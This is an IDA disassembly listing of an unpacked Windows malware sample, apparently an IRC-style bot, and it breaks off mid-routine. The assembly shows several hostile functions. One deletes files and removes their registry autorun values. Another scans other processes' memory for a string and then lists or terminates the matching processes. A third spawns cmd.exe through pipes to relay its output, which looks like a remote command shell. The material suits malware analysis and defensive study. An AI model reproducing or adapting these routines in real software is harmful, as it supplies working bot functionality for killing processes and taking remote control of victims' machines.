;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	DADD26AF16ABA33A0D10C2EE8C31583A

; File Name   :	u:\work\dadd26af16aba33a0d10c2ee8c31583a_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0001F000 ( 126976.)
; Section size in file		: 0001F000 ( 126976.)
; Offset to raw	data for section: 00001000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
cAddress	segment	para public 'DATA' use32
		assume cs:cAddress
		;org 401000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: sub_401146+31p
					; sub_401146+43p ...

var_268		= dword	ptr -268h
var_264		= dword	ptr -264h
var_260		= byte ptr -260h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= byte ptr -218h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 268h
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		jmp	short loc_40101A
; ---------------------------------------------------------------------------


loc_401013:				; CODE XREF: sub_401000+13Cj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40101A:				; CODE XREF: sub_401000+11j
		mov	eax, [ebp+var_4]
		cmp	off_418000[eax*4], 0
		jz	loc_401141
		mov	eax, [ebp+var_4]
		push	off_418000[eax*4]
		lea	eax, [ebp+var_260]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_260]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_110]
		push	eax
		push	3
		push	0
		lea	eax, [ebp+var_260]
		push	eax
		push	[ebp+arg_0]
		call	dword_417008	; RegOpenKeyExA
		and	[ebp+var_220], 0
		jmp	short loc_401081
; ---------------------------------------------------------------------------


loc_401074:				; CODE XREF: sub_401000:loc_40112Bj
		mov	eax, [ebp+var_220]
		inc	eax
		mov	[ebp+var_220], eax


loc_401081:				; CODE XREF: sub_401000+72j
		mov	[ebp+var_21C], 104h
		mov	[ebp+var_224], 104h
		lea	eax, [ebp+var_224]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		push	0
		lea	eax, [ebp+var_21C]
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		push	[ebp+var_220]
		push	[ebp+var_110]
		call	dword_417000	; RegEnumValueA
		mov	[ebp+var_264], eax
		cmp	[ebp+var_264], 0
		jz	short loc_4010DD
		jmp	short loc_401130
; ---------------------------------------------------------------------------


loc_4010DD:				; CODE XREF: sub_401000+D9j
		cmp	[ebp+var_114], 1
		jnz	short loc_40112B
		push	[ebp+arg_4]
		push	[ebp+var_224]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_407ACA
		add	esp, 0Ch
		mov	[ebp+var_268], eax
		cmp	[ebp+var_268], 0
		jz	short loc_40112B
		lea	eax, [ebp+var_218]
		push	eax
		push	[ebp+var_110]
		call	dword_417004	; RegDeleteValueA
		test	eax, eax
		jnz	short loc_40112B
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_40112B:				; CODE XREF: sub_401000+E4j
					; sub_401000+10Bj ...
		jmp	loc_401074
; ---------------------------------------------------------------------------


loc_401130:				; CODE XREF: sub_401000+DBj
		push	[ebp+var_110]
		call	dword_417028	; RegCloseKey
		jmp	loc_401013
; ---------------------------------------------------------------------------


loc_401141:				; CODE XREF: sub_401000+25j
		mov	eax, [ebp+var_8]
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401146	proc near		; CODE XREF: cAddress:0040169Dp
					; sub_40A9CF+A72p

var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	80h
		push	[ebp+arg_0]
		call	dword_4170A8	; SetFileAttributesA
		test	eax, eax
		jnz	short loc_401166
		jmp	locret_401242
; ---------------------------------------------------------------------------


loc_401166:				; CODE XREF: sub_401146+19j
		push	[ebp+arg_0]
		call	dword_4170AC	; DeleteFileA
		push	[ebp+arg_0]
		push	80000001h
		call	sub_401000
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		push	[ebp+arg_0]
		push	80000002h
		call	sub_401000
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jnz	locret_401242
		push	104h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_10C], eax
		jmp	short loc_4011DB
; ---------------------------------------------------------------------------


loc_4011CE:				; CODE XREF: sub_401146:loc_40121Aj
		mov	eax, [ebp+var_10C]
		dec	eax
		mov	[ebp+var_10C], eax


loc_4011DB:				; CODE XREF: sub_401146+86j
		cmp	[ebp+var_10C], 0
		jz	short loc_40121C
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_10C]
		movsx	eax, byte ptr [eax-1]
		cmp	eax, 5Ch
		jnz	short loc_40121A
		push	104h
		mov	eax, [ebp+var_10C]
		lea	eax, [ebp+eax+var_108]
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		jmp	short loc_40121C
; ---------------------------------------------------------------------------


loc_40121A:				; CODE XREF: sub_401146+AEj
		jmp	short loc_4011CE
; ---------------------------------------------------------------------------


loc_40121C:				; CODE XREF: sub_401146+9Cj
					; sub_401146+D2j
		lea	eax, [ebp+var_108]
		push	eax
		push	80000001h
		call	sub_401000
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_108]
		push	eax
		push	80000002h
		call	sub_401000
		pop	ecx
		pop	ecx

locret_401242:				; CODE XREF: sub_401146+1Bj
					; sub_401146+56j
		leave
		retn
sub_401146	endp

; ---------------------------------------------------------------------------


loc_401244:				; DATA XREF: sub_4017AA+9Do
		push	ebp
		mov	ebp, esp
		sub	esp, 3E8h
		push	esi
		push	edi
		push	2ACh
		push	dword ptr [ebp+8]
		lea	eax, [ebp-2ACh]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		movzx	eax, byte ptr [ebp-2A8h]
		test	eax, eax
		jz	short loc_40129D
		lea	eax, [ebp-2A3h]
		push	eax
		mov	eax, [ebp-2ACh]
		push	dword ptr [eax]
		push	offset dword_418144
		lea	eax, [ebp-1A3h]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_40129D:				; CODE XREF: cAddress:00401278j
		call	sub_406041
		mov	[ebp-2B4h], eax
		cmp	dword ptr [ebp-2B4h], 0
		jnz	short loc_4012C4
		push	dword ptr [ebp-2ACh]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4017A4
; ---------------------------------------------------------------------------


loc_4012C4:				; CODE XREF: cAddress:004012AFj
		push	10000h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp-2B8h], eax
		and	dword ptr [ebp-2BCh], 0
		and	dword ptr [ebp-2B0h], 0
		jmp	short loc_4012F2
; ---------------------------------------------------------------------------


loc_4012E5:				; CODE XREF: cAddress:00401326j
					; cAddress:0040136Fj ...
		mov	eax, [ebp-2B0h]
		inc	eax
		mov	[ebp-2B0h], eax


loc_4012F2:				; CODE XREF: cAddress:004012E3j
		mov	eax, [ebp-2B4h]
		mov	ecx, [ebp-2B0h]
		cmp	ecx, [eax]
		jge	loc_401710
		mov	esi, [ebp-2B0h]
		imul	esi, 114h
		mov	eax, [ebp-2B4h]
		mov	edi, [eax+4]
		call	dword_4170E8	; GetCurrentProcessId
		cmp	[edi+esi], eax
		jnz	short loc_401328
		jmp	short loc_4012E5
; ---------------------------------------------------------------------------


loc_401328:				; CODE XREF: cAddress:00401324j
		push	104h
		lea	eax, [ebp-3CCh]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		mov	eax, [ebp-2B0h]
		imul	eax, 114h
		mov	ecx, [ebp-2B4h]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		lea	eax, [ebp-3CCh]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_401374
		jmp	loc_4012E5
; ---------------------------------------------------------------------------


loc_401374:				; CODE XREF: cAddress:0040136Dj
		mov	eax, [ebp-2B0h]
		imul	eax, 114h
		mov	ecx, [ebp-2B4h]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		push	0
		movzx	eax, byte ptr [ebp-2A8h]
		neg	eax
		sbb	eax, eax
		add	eax, 11h
		push	eax
		call	dword_417094	; OpenProcess
		mov	[ebp-2C4h], eax
		cmp	dword ptr [ebp-2C4h], 0
		jnz	short loc_4013B7
		jmp	loc_4012E5
; ---------------------------------------------------------------------------


loc_4013B7:				; CODE XREF: cAddress:004013B0j
		and	dword ptr [ebp-2C0h], 0
		and	dword ptr [ebp-2C8h], 0


loc_4013C5:				; CODE XREF: cAddress:loc_4016FAj
		mov	eax, [ebp-2B0h]
		imul	eax, 114h
		mov	ecx, [ebp-2B4h]
		mov	ecx, [ecx+4]
		mov	eax, [ecx+eax+8]
		sub	eax, [ebp-2C0h]
		cmp	eax, 10000h
		jbe	short loc_4013F7
		mov	dword ptr [ebp-3E8h], 10000h
		jmp	short loc_40141C
; ---------------------------------------------------------------------------


loc_4013F7:				; CODE XREF: cAddress:004013E9j
		mov	eax, [ebp-2B0h]
		imul	eax, 114h
		mov	ecx, [ebp-2B4h]
		mov	ecx, [ecx+4]
		mov	eax, [ecx+eax+8]
		sub	eax, [ebp-2C0h]
		mov	[ebp-3E8h], eax


loc_40141C:				; CODE XREF: cAddress:004013F5j
		mov	eax, [ebp-3E8h]
		mov	[ebp-3D0h], eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-3D0h]
		push	dword ptr [ebp-2B8h]
		mov	eax, [ebp-2B0h]
		imul	eax, 114h
		mov	ecx, [ebp-2B4h]
		mov	ecx, [ecx+4]
		mov	eax, [ecx+eax+4]
		add	eax, [ebp-2C0h]
		push	eax
		push	dword ptr [ebp-2C4h]
		call	dword_417098	; ReadProcessMemory
		mov	[ebp-3D4h], eax
		cmp	dword ptr [ebp-3D4h], 0
		jz	loc_4016C5
		cmp	dword ptr [ebp-2C8h], 0
		jz	loc_4016C5
		and	dword ptr [ebp-3D8h], 0
		and	dword ptr [ebp-3DCh], 0


loc_401495:				; DATA XREF: cAddress:0041AD00o
		jmp	short loc_4014A4
; ---------------------------------------------------------------------------


loc_401497:				; CODE XREF: cAddress:loc_4015DBj
		mov	eax, [ebp-3DCh]
		inc	eax
		mov	[ebp-3DCh], eax


loc_4014A4:				; CODE XREF: cAddress:loc_401495j
		mov	eax, [ebp-2C8h]
		sub	eax, [ebp-2A7h]
		cmp	[ebp-3DCh], eax
		ja	loc_4015E0
		mov	eax, [ebp-2B8h]
		add	eax, [ebp-3DCh]
		movsx	eax, byte ptr [eax]
		movsx	ecx, byte ptr [ebp-2A3h]
		cmp	eax, ecx
		jz	short loc_401514
		mov	eax, [ebp-2B8h]
		add	eax, [ebp-3DCh]
		movsx	eax, byte ptr [eax]
		movsx	ecx, byte ptr [ebp-2A3h]
		add	ecx, 20h
		cmp	eax, ecx
		jz	short loc_401514
		mov	eax, [ebp-2B8h]
		add	eax, [ebp-3DCh]
		movsx	eax, byte ptr [eax]
		movsx	ecx, byte ptr [ebp-2A3h]
		sub	ecx, 20h
		cmp	eax, ecx
		jnz	loc_4015DB


loc_401514:				; CODE XREF: cAddress:004014D4j
					; cAddress:004014F1j
		mov	dword ptr [ebp-3E0h], 1
		jmp	short loc_40152D
; ---------------------------------------------------------------------------


loc_401520:				; CODE XREF: cAddress:loc_4015D6j
		mov	eax, [ebp-3E0h]
		inc	eax
		mov	[ebp-3E0h], eax


loc_40152D:				; CODE XREF: cAddress:0040151Ej
		mov	eax, [ebp-3E0h]
		movsx	eax, byte ptr [ebp+eax-2A3h]
		test	eax, eax
		jnz	short loc_401556
		mov	eax, [ebp-2B8h]
		add	eax, [ebp-3DCh]
		mov	[ebp-3D8h], eax
		jmp	loc_40179F
; ---------------------------------------------------------------------------


loc_401556:				; CODE XREF: cAddress:0040153Dj
		mov	eax, [ebp-3E0h]
		movsx	eax, byte ptr [ebp+eax-2A3h]
		mov	ecx, [ebp-3DCh]
		add	ecx, [ebp-3E0h]
		mov	edx, [ebp-2B8h]
		movsx	ecx, byte ptr [edx+ecx]
		cmp	eax, ecx
		jz	short loc_4015D6
		mov	eax, [ebp-3E0h]
		movsx	eax, byte ptr [ebp+eax-2A3h]
		mov	ecx, [ebp-3DCh]
		add	ecx, [ebp-3E0h]
		mov	edx, [ebp-2B8h]
		movsx	ecx, byte ptr [edx+ecx]
		add	ecx, 20h
		cmp	eax, ecx
		jz	short loc_4015D6
		mov	eax, [ebp-3E0h]
		movsx	eax, byte ptr [ebp+eax-2A3h]
		mov	ecx, [ebp-3DCh]
		add	ecx, [ebp-3E0h]
		mov	edx, [ebp-2B8h]
		movsx	ecx, byte ptr [edx+ecx]
		sub	ecx, 20h
		cmp	eax, ecx
		jz	short loc_4015D6
		jmp	short loc_4015DB
; ---------------------------------------------------------------------------


loc_4015D6:				; CODE XREF: cAddress:0040157Cj
					; cAddress:004015A7j ...
		jmp	loc_401520
; ---------------------------------------------------------------------------


loc_4015DB:				; CODE XREF: cAddress:0040150Ej
					; cAddress:004015D4j
		jmp	loc_401497
; ---------------------------------------------------------------------------


loc_4015E0:				; CODE XREF: cAddress:004014B6j
					; cAddress:loc_40179Fj
		cmp	dword ptr [ebp-3D8h], 0
		jz	loc_4016C5
		mov	eax, [ebp-2BCh]
		inc	eax
		mov	[ebp-2BCh], eax
		movzx	eax, byte ptr [ebp-2A8h]
		test	eax, eax
		jz	short loc_401675
		push	3E8h
		call	dword_41709C	; Sleep
		mov	al, [ebp-0Bh]
		mov	[ebp-3E4h], al
		and	byte ptr [ebp-0Bh], 0
		mov	eax, [ebp-2B0h]
		imul	eax, 114h
		mov	ecx, [ebp-2B4h]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		mov	eax, [ebp-2B0h]
		imul	eax, 114h
		mov	ecx, [ebp-2B4h]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		lea	eax, [ebp-2A3h]
		push	eax
		push	offset dword_41811C
		lea	eax, [ebp-1A3h]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		mov	al, [ebp-3E4h]
		mov	[ebp-0Bh], al
		jmp	short loc_4016A3
; ---------------------------------------------------------------------------


loc_401675:				; CODE XREF: cAddress:00401603j
		push	0
		push	dword ptr [ebp-2C4h]
		call	dword_4170A0	; TerminateProcess
		mov	eax, [ebp-2B0h]
		imul	eax, 114h
		mov	ecx, [ebp-2B4h]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		call	sub_401146
		pop	ecx


loc_4016A3:				; CODE XREF: cAddress:00401673j
		mov	eax, [ebp-2ACh]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4016C0
		push	dword ptr [ebp-2C4h]
		call	dword_4170A4	; CloseHandle
		jmp	loc_40179A
; ---------------------------------------------------------------------------


loc_4016C0:				; CODE XREF: cAddress:004016ADj
		jmp	loc_401795
; ---------------------------------------------------------------------------


loc_4016C5:				; CODE XREF: cAddress:00401474j
					; cAddress:00401481j ...
		mov	eax, [ebp-2C0h]
		add	eax, [ebp-3D0h]
		mov	[ebp-2C0h], eax
		mov	eax, [ebp-2B0h]
		imul	eax, 114h
		mov	ecx, [ebp-2B4h]
		mov	ecx, [ecx+4]
		mov	edx, [ebp-2C0h]
		cmp	edx, [ecx+eax+8]
		jnz	short loc_4016FA
		jmp	short loc_4016FF
; ---------------------------------------------------------------------------


loc_4016FA:				; CODE XREF: cAddress:004016F6j
		jmp	loc_4013C5
; ---------------------------------------------------------------------------


loc_4016FF:				; CODE XREF: cAddress:004016F8j
					; cAddress:loc_401795j
		push	dword ptr [ebp-2C4h]
		call	dword_4170A4	; CloseHandle
		jmp	loc_4012E5
; ---------------------------------------------------------------------------


loc_401710:				; CODE XREF: cAddress:00401300j
					; cAddress:loc_40179Aj
		push	dword ptr [ebp-2B4h]
		call	sub_40636E
		pop	ecx
		push	dword ptr [ebp-2B8h]
		call	sub_416B4C	; free
		pop	ecx
		movzx	eax, byte ptr [ebp-2A8h]
		test	eax, eax
		jz	short loc_401785
		push	3E8h
		call	dword_41709C	; Sleep
		cmp	dword ptr [ebp-2BCh], 0
		jnz	short loc_401764
		lea	eax, [ebp-2A3h]
		push	eax
		push	offset dword_4180F8
		lea	eax, [ebp-1A3h]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	short loc_401785
; ---------------------------------------------------------------------------


loc_401764:				; CODE XREF: cAddress:00401745j
		lea	eax, [ebp-2A3h]
		push	eax
		push	dword ptr [ebp-2BCh]
		push	offset dword_4180CC
		lea	eax, [ebp-1A3h]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_401785:				; CODE XREF: cAddress:00401731j
					; cAddress:00401762j
		push	dword ptr [ebp-2ACh]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short loc_4017A4
; ---------------------------------------------------------------------------


loc_401795:				; CODE XREF: cAddress:loc_4016C0j
		jmp	loc_4016FF
; ---------------------------------------------------------------------------


loc_40179A:				; CODE XREF: cAddress:004016BBj
		jmp	loc_401710
; ---------------------------------------------------------------------------


loc_40179F:				; CODE XREF: cAddress:00401551j
		jmp	loc_4015E0
; ---------------------------------------------------------------------------


loc_4017A4:				; CODE XREF: cAddress:004012BFj
					; cAddress:00401793j
		pop	edi
		pop	esi
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017AA	proc near		; CODE XREF: sub_40A9CF+AA1p
					; sub_40A9CF+AD2p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_4017C2
		push	[ebp+arg_4]
		call	sub_416B40	; strlen
		pop	ecx
		test	eax, eax
		jnz	short loc_4017C7


loc_4017C2:				; CODE XREF: sub_4017AA+9j
		jmp	locret_401854
; ---------------------------------------------------------------------------


loc_4017C7:				; CODE XREF: sub_4017AA+16j
		push	2ACh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4017DD
		jmp	short locret_401854
; ---------------------------------------------------------------------------


loc_4017DD:				; CODE XREF: sub_4017AA+2Fj
		mov	eax, [ebp+var_4]
		mov	cl, [ebp+arg_8]
		mov	[eax+4], cl
		push	[ebp+arg_4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+5], eax
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 9
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 109h
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		movzx	eax, [ebp+arg_8]
		test	eax, eax
		jz	short loc_401830
		mov	[ebp+var_8], offset aListing ; "Listing"
		jmp	short loc_401837
; ---------------------------------------------------------------------------


loc_401830:				; CODE XREF: sub_4017AA+7Bj
		mov	[ebp+var_8], offset aKilling ; "Killing"


loc_401837:				; CODE XREF: sub_4017AA+84j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	offset dword_418174
		push	0
		push	[ebp+var_4]
		push	offset loc_401244
		call	sub_4095A4
		add	esp, 18h

locret_401854:				; CODE XREF: sub_4017AA:loc_4017C2j
					; sub_4017AA+31j
		leave
		retn
sub_4017AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401856	proc near		; CODE XREF: cAddress:00401A29p
					; cAddress:00401A62p ...
		push	ebp
		mov	ebp, esp
		cmp	dword_41DDF4, 0FFFFFFFFh
		jz	short loc_40186E
		push	dword_41DDF4
		call	dword_4170A4	; CloseHandle


loc_40186E:				; CODE XREF: sub_401856+Aj
		cmp	dword_41DDE8, 0FFFFFFFFh
		jz	short loc_401883
		push	dword_41DDE8
		call	dword_4170A4	; CloseHandle


loc_401883:				; CODE XREF: sub_401856+1Fj
		cmp	dword_41DDEC, 0FFFFFFFFh
		jz	short loc_401898
		push	dword_41DDEC
		call	dword_4170A4	; CloseHandle


loc_401898:				; CODE XREF: sub_401856+34j
		cmp	dword_41DDF0, 0FFFFFFFFh
		jz	short loc_4018AD
		push	dword_41DDF0
		call	dword_4170A4	; CloseHandle


loc_4018AD:				; CODE XREF: sub_401856+49j
		pop	ebp
		retn
sub_401856	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018AF	proc near		; CODE XREF: cAddress:00401C0Bp
					; cAddress:00401D16p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+189h]
		test	eax, eax
		jnz	short loc_4018D4
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Dh]
		test	eax, eax
		jz	short loc_401922


loc_4018D4:				; CODE XREF: sub_4018AF+15j
					; sub_4018AF:loc_401920j
		push	32h
		call	dword_41709C	; Sleep
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+189h]
		test	eax, eax
		jz	short loc_4018FE
		call	sub_416B64	; clock
		sub	eax, dword_41DDFC
		cmp	eax, 1F4h
		jb	short loc_4018FE
		jmp	short loc_401922
; ---------------------------------------------------------------------------


loc_4018FE:				; CODE XREF: sub_4018AF+39j
					; sub_4018AF+4Bj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Dh]
		test	eax, eax
		jz	short loc_401920
		call	sub_416B64	; clock
		sub	eax, dword_41DDFC
		cmp	eax, 0FAh
		jb	short loc_401920
		jmp	short loc_401922
; ---------------------------------------------------------------------------


loc_401920:				; CODE XREF: sub_4018AF+5Bj
					; sub_4018AF+6Dj
		jmp	short loc_4018D4
; ---------------------------------------------------------------------------


loc_401922:				; CODE XREF: sub_4018AF+23j
					; sub_4018AF+4Dj ...
		call	sub_416B64	; clock
		mov	dword_41DDFC, eax
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_401942
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jnz	short loc_401957


loc_401942:				; CODE XREF: sub_4018AF+86j
		push	offset dword_4181A4
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B5E	; sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_40196E
; ---------------------------------------------------------------------------


loc_401957:				; CODE XREF: sub_4018AF+91j
		push	200h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407A56
		add	esp, 0Ch


loc_40196E:				; CODE XREF: sub_4018AF+A6j
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx
		leave
		retn
sub_4018AF	endp

; ---------------------------------------------------------------------------


loc_401981:				; DATA XREF: sub_401D6E+88o
		push	ebp
		mov	ebp, esp
		sub	esp, 730h
		push	3A7h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-714h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		call	sub_416B64	; clock
		sub	eax, 1F4h
		mov	dword_41DDFC, eax
		push	0
		lea	eax, [ebp-30Ch]
		push	eax
		push	104h
		push	0
		push	offset aCmd_exe	; "cmd.exe"
		push	0
		call	dword_41706C	; SearchPathA
		test	eax, eax
		jnz	short loc_4019ED
		push	dword ptr [ebp-714h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_4019ED:				; CODE XREF: cAddress:004019D8j
		mov	dword ptr [ebp-318h], 0Ch
		mov	dword ptr [ebp-310h], 1
		and	dword ptr [ebp-314h], 0
		push	0
		lea	eax, [ebp-318h]
		push	eax
		lea	eax, [ebp-368h]
		push	eax
		lea	eax, [ebp-364h]
		push	eax
		call	dword_417070	; CreatePipe
		test	eax, eax
		jnz	short loc_401A41
		call	sub_401856
		push	dword ptr [ebp-714h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_401A41:				; CODE XREF: cAddress:00401A27j
		push	0
		lea	eax, [ebp-318h]
		push	eax
		lea	eax, [ebp-36Ch]
		push	eax
		lea	eax, [ebp-728h]
		push	eax
		call	dword_417070	; CreatePipe
		test	eax, eax
		jnz	short loc_401A7A
		call	sub_401856
		push	dword ptr [ebp-714h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_401A7A:				; CODE XREF: cAddress:00401A60j
		push	3
		push	0
		push	0
		push	offset dword_41DDF0
		call	dword_417074	; GetCurrentProcess
		push	eax
		push	dword ptr [ebp-36Ch]
		call	dword_417074	; GetCurrentProcess
		push	eax
		call	dword_4170F0	; DuplicateHandle
		test	eax, eax
		jnz	short loc_401ABB
		call	sub_401856
		push	dword ptr [ebp-714h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_401ABB:				; CODE XREF: cAddress:00401AA1j
		push	10h
		push	0
		lea	eax, [ebp-724h]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	44h
		push	0
		lea	eax, [ebp-360h]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	dword ptr [ebp-360h], 44h
		mov	dword ptr [ebp-334h], 101h
		and	word ptr [ebp-330h], 0
		mov	eax, [ebp-728h]
		mov	[ebp-328h], eax
		mov	eax, [ebp-368h]
		mov	[ebp-324h], eax
		mov	eax, [ebp-368h]
		mov	[ebp-320h], eax
		lea	eax, [ebp-724h]
		push	eax
		lea	eax, [ebp-360h]
		push	eax
		push	0
		push	0
		push	0
		push	1
		push	0
		push	0
		push	offset byte_41DE00
		lea	eax, [ebp-30Ch]
		push	eax
		call	dword_41707C	; CreateProcessA
		test	eax, eax
		jnz	short loc_401B69
		call	sub_401856
		push	dword ptr [ebp-714h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_401B69:				; CODE XREF: cAddress:00401B4Fj
		push	dword ptr [ebp-728h]
		call	dword_4170A4	; CloseHandle
		mov	eax, [ebp-364h]
		mov	dword_41DDF4, eax
		mov	eax, [ebp-36Ch]
		mov	dword_41DDE8, eax
		mov	eax, [ebp-724h]
		mov	dword_41DDEC, eax
		push	dword ptr [ebp-720h]
		call	dword_4170A4	; CloseHandle
		and	dword ptr [ebp-4], 0
		and	dword ptr [ebp-208h], 0


loc_401BAD:				; CODE XREF: cAddress:00401C6Aj
					; cAddress:00401D1Dj
		mov	eax, [ebp-714h]
		cmp	dword ptr [eax+4], 0
		jz	short loc_401BBE
		jmp	loc_401D22
; ---------------------------------------------------------------------------


loc_401BBE:				; CODE XREF: cAddress:00401BB7j
		and	dword ptr [ebp-208h], 0
		push	200h
		push	0
		lea	eax, [ebp-204h]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	0
		push	0
		lea	eax, [ebp-4]
		push	eax
		push	200h
		lea	eax, [ebp-204h]
		push	eax
		push	dword_41DDF4
		call	dword_417080	; PeekNamedPipe
		test	eax, eax
		jnz	short loc_401C17
		push	offset aCouldNotReadDa ; "Could	not read data from process."
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4018AF
		pop	ecx
		pop	ecx
		jmp	loc_401D22
; ---------------------------------------------------------------------------


loc_401C17:				; CODE XREF: cAddress:00401BFDj
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_401C6F
		mov	dword ptr [ebp-730h], 103h
		lea	eax, [ebp-730h]
		push	eax
		push	dword_41DDEC
